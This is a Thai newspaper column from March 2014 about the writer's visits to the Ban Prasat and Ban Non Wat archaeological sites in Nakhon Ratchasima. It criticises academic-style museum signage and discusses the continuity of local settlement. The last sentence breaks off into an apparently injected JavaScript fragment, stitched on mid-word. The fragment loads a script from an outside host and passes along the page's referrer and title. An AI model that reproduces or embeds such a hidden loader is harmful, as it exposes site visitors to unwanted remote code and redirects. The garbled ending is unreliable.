Download PDF

มติชนรายวัน ฉบับประจำวันศุกร์ที่ 7 มีนาคม 2557

 

          เมื่อวันศุกร์ที่ 28 กุมภาพันธ์ ที่ผ่านมา ผมไปตระเวนทางบ้านปราสาท ต. ธารปราสาท อ. โนนสูง จ. นครราชสีมา

          อยู่เหนือตัวเมืองโคราชขึ้นไปทางทิศตะวันตกของถนนสายนครราชสีมา-หนองคาย ก่อนถึงทางแยกเข้า อ. พิมาย

          พิพิธภัณฑ์กลางแจ้งบ้านปราสาท แสดงหลุมขุดค้นทางโบราณคดี พบโครงกระดูกมนุษย์และเครื่องมือเครื่องใช้ ราว 3,000 ปีมาแล้ว เป็นแหล่งสำคัญแหล่งหนึ่งในไทยที่แสดงพัฒนาการความเป็นมาทางประวัติศาสตร์สังคมวัฒนธรรมของคนต้นน้ำมูลซึ่งเป็นบรรพชนคนสุวรรณภูมิและคนไทย รวมถึงคนโคราชทุกวันนี้

          หลุมขุดค้นอยู่สถานที่จริง แต่โครงกระดูกมนุษย์ในหลุมมีผู้บอกว่าทำจำลองไว้ เพราะเคยมีของจริงแต่ถูกน้ำเกลือสินเธาว์ซึมเข้ามาเสียหายนานแล้ว เนื่องจากไทยเป็นเขตร้อนชื้น มีลมมรสุม มีฝนหนักทุกปี จึงต้องแก้ปัญหาทำจำลองไว้แทน

          ครั้งนี้เห็นสภาพทั่วไปแล้วดีขึ้นมากกว่าแต่ก่อน สะอาดสะอ้านทุกแห่ง

          แต่ที่ต้องปรับปรุงแก้ไข คือคำอธิบายต่างๆที่เขียนป้ายติดตั้งไว้มีข้อความเยิ่นเย้อรก รุงรังแบบราชการ จึงไม่สื่อให้คนทั่วไปเข้าใจ นอกจากพวกโบราณคดีด้วยกันเอง (ไม่แน่ใจว่าจะอ่านเข้าใจสักกี่คน?)

          การเขียนคำอธิบายอย่างนี้มีปัญหามาก เพราะนักโบราณคดีไม่ยอมปรับความคิดและการทำงานให้เป็นสามัญชนคนธรรมดา ภาษาที่ใช้จึงไม่สื่อกับคนทั่วไป งานใหญ่ๆดีๆจึงล้มเหลวอย่างไม่ควรจะเป็น

          ทางแก้ไขมีหลายอย่าง แต่ผู้บริหารจัดการวิชาการแท้ๆไม่มี ที่มีก็ล้วนไม่แท้ จึงไม่ยอมปรับตัวแก้ไข ไม่ว่าทางไหน?

          วิชาการเป็นงานวงแคบๆ อ่านกันเองในแวดวงวิชาการด้วยกัน ส่วนคนทั่วไปอ่านยาก เข้าใจยากจนไม่รู้เรื่อง สังคมอื่นที่ก้าวหน้าจึงสร้างคนอีกจำพวกหนึ่งขึ้นมา ที่มีความสามารถย่อยงานวิชาการยากๆให้ง่ายๆ เพื่อสนองความต้องการของสามัญชนคนทั่วไปที่มีจำนวนมากมายมหาศาล

          แต่ไทยยังไม่พร้อมเข้าสู่สังคมก้าวหน้า ดูได้จากงานประวัติศาสตร์โบราณคดี

          จากบ้านปราสาท ผมลัดเลาะผ่านบ้านหลุมข้าวไปบ้านโนนวัด ที่อยู่ถัดไปไม่ไกลมากนัก

          เมื่อเข้าถึงกลางหมู่บ้าน มีอาคารสองชั้นสร้างใหม่ เป็น“ศูนย์การเรียนรู้ท้องถิ่นสมัยก่อนประวัติศาสตร์ แหล่งอารยธรรมบ้านโนนวัด ต. พลสงคราม อ. โนนสูง จ. นครราชสีมา”

          ดำเนินการทั้งหมดโดย สำนักศิลปะและวัฒนธรรม มหาวิทยาลัยราชภัฏนครราชสีมา

          ขณะไปถึงไม่มีคนเฝ้า และหาใครไม่ได้ที่อยู่ข้างเคียงขณะนั้น แต่ไม่ล็อคกุญแจ ผมเปิดประตูเข้าไปได้เอง แล้วเดินดูเองตั้งแต่ชั้นล่างถึงชั้นบน ซึ่งจัดนิทรรศการไว้ มีเนื้อหาโดยสรุป ดังนี้

          1. ภาพแสดงการขุดค้นทางโบราณคดีสมัยก่อนประวัติศาสตร์ โดยนักโบราณคดีออสเตรเลียและไทย มีสิ่งของทำจำลองบางชิ้น

          2. ภาพแสดงการขับเคลื่อนการมีส่วนร่วมของชุมชนกับการอนุรักษ์แหล่งโบราณคดีสมัยก่อนประวัติศาสตร์ แหล่งอารยธรรมบ้านโนนวัด โดยภาคีเครือข่าย

          3. ความเป็นมาของบ้านโนนวัด มีเล็กน้อย

          นิทรรศการให้ความสำคัญมากๆต่อการทำงานขุดค้นของนักโบราณคดีและการขับเคลื่อนของภาคีเครือข่ายจากราชภัฏ เห็นได้จากขยายภาพถ่ายขนาดใหญ่ๆ

          แต่ความเป็นมาของบ้านโนนวัดที่เป็นส่วนสำคัญที่สุดกลับมีน้อยจนเกือบไม่เห็น และไม่เน้นให้รู้ทั่วกันว่า

          บ้านโนนวัด ชุมชนเก่าแก่ 3,000 ปีมาแล้ว มีคนอยู่สืบเนื่องถึงปัจจุบัน

          อันที่จริงหลักฐานประวัติศาสตร์โบราณคดี เป็นพยานว่าบ้านโนนวัดมีคนตั้งหลักแหล่งถาวรตั้งแต่ราว 3,000 ปีมาแล้ว โดยอยู่สืบเนื่องผ่านยุคทวารวดี ยุคนครวัด นครธม ยุคอยุธยา ยุคธนบุรี ยุครัตนโกสินทร์ จนปัจจุบัน

          เท่ากับยืนยันว่าคนไทยไม่ได้มาจากไหน? แต่ คนไทยอยู่ที่นี่ ต่างจากประวัติศาสตร์แห่งชาติของไทยว่าคนไทยไม่อยู่ที่นี่ แต่อพยพถอนรากถอนโคนมาจากที่อื่น ซึ่งไม่รู้ที่ไหน?

          บ้านโนนวัด เป็นแหล่งหนึ่งในจำนวนหลายแหล่งที่สำคัญมากๆ ในเขต อ. โนนสูง จ. นครราชสีมา เพราะจะเกี่ยวข้องอย่างยิ่งกับการสร้างปราสาทพนมวัน, ปราสาทพิมาย, ปราสาทพนมรุ้ง, ฯลฯ ลงไปถึง ปราสาทนครวัด, ปราสาทนครธม กับชุมชนบ้านเมืองในกลุ่มละโว้-อโยธยา บริเวณลุ่มน้ำป่าสัก, ลพบุรี, บางปะกง, และเจ้าพระยา

          สถาบันราชภัฏนครราชสีมา ควรทบทวนตั้งหลักเริ่มต้นใหม่ แล้วร่วมกันกระตุ้นและผลักดันให้ท้องถิ่นโคราชตระหนักความสำคัญเรื่องนี้ ซึ่งเป็นขุมทรัพย์มหาศาลในอนาคตs.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;